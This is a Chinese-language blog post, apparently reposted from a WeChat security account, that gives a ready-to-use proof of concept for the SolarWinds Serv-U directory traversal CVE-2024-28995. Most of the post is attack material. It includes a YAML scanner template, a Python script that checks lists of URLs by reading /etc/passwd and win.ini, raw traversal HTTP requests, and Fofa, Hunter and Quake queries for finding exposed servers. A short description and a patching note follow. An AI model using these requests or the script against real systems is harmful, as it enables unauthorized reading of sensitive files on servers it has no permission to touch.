POC(Yaml&Python)
话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)
-
「Yaml」
id: SolarWinds-Serv-U-fileread
info:
name: SolarWinds Serv-U 目录遍历z导致任意文件读取(CVE-2024-28995)
author: xx
severity: high
description: SolarWinds Serv-U 目录遍历导致任意文件读取(CVE-2024-28995)
metadata:
fofa-query: body="http://www.Serv-U.com"
tags: Serv-U,fileread
http:
- raw:
- |
GET /?InternalDir=/../../../../windows&InternalFile=win.ini HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
matchers-condition: or
matchers:
- type: word
words:
- "fonts"
part: body
- raw:
- |
GET /?InternalDir=........etc&InternalFile=passwd HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
matchers-condition: or
matchers:
- type: word
words:
- "root"
part: body
-
「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
from requests.exceptions import RequestException
from urllib3.exceptions import InsecureRequestWarning
# 打印颜色
RED = '�33[91m'
RESET = '�33[0m'
# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def check_vulnerability(url):
try:
# 构建攻击URL
attack_url = url.rstrip('/') + "/?InternalDir=%5C%2e%2e%5C%2e%2e%5C%2e%2e%5C%2e%2e%5Cetc&InternalFile=passwd"
attack_url2 = url.rstrip('/') + "/?InternalDir=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows&InternalFile=win.ini"
# 向服务器发送请求
response = requests.get(attack_url, verify=False, timeout=10)
response2 = requests.get(attack_url2, verify=False, timeout=10)
# 检查响应状态码和响应体中的关键字
vulnerability_found = False
if response.status_code == 200 and 'root' in response.text:
vulnerability_found = True
elif response2.status_code == 200 and 'fonts' in response2.text:
vulnerability_found = True
if vulnerability_found:
print(f"{RED}URL [{url}] SolarWinds Serv-U 目录遍历导致任意文件读取(CVE-2024-28995)。{RESET}")
else:
print(f"URL [{url}] 未发现漏洞。")
except RequestException as e:
print(f"URL [{url}] 请求失败: {e}")
def main():
parser = argparse.ArgumentParser(description='检查目标URL是否存在SolarWinds Serv-U 目录遍历导致任意文件读取(CVE-2024-28995)。')
parser.add_argument('-u', '--url', help='指定目标URL')
parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')
args = parser.parse_args()
if args.url:
# 如果URL未以http://或https://开头,则添加http://
args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
check_vulnerability(url)
if __name__ == '__main__':
main()
漏洞介绍
❝
SolarWinds Serv-UFTP服务存在目录遍历导致任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件,例如数据库配置文件、系统配置文件等。
❞
资产测绘
-
「Fofa」
❝
body="http://www.Serv-U.com"
❞
-
「Hunter」
❝
web.body="http://www.Serv-U.com"
❞
-
「Quake」
❝
body="http://www.Serv-U.com"
❞
漏洞复现
「1、构造数据包」
GET /?InternalDir=/../../../../windows&InternalFile=win.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
GET /?InternalDir=........etc&InternalFile=passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
「2、查看返回包」
修复方案
❝
官方已发布安全补丁,建议联系厂商打补丁或升级版本。 引入Web应用防火墙防护,配置接口拦截策略。 ❞
原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】SolarWinds Serv-U 目录遍历(CVE-2024-28995)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论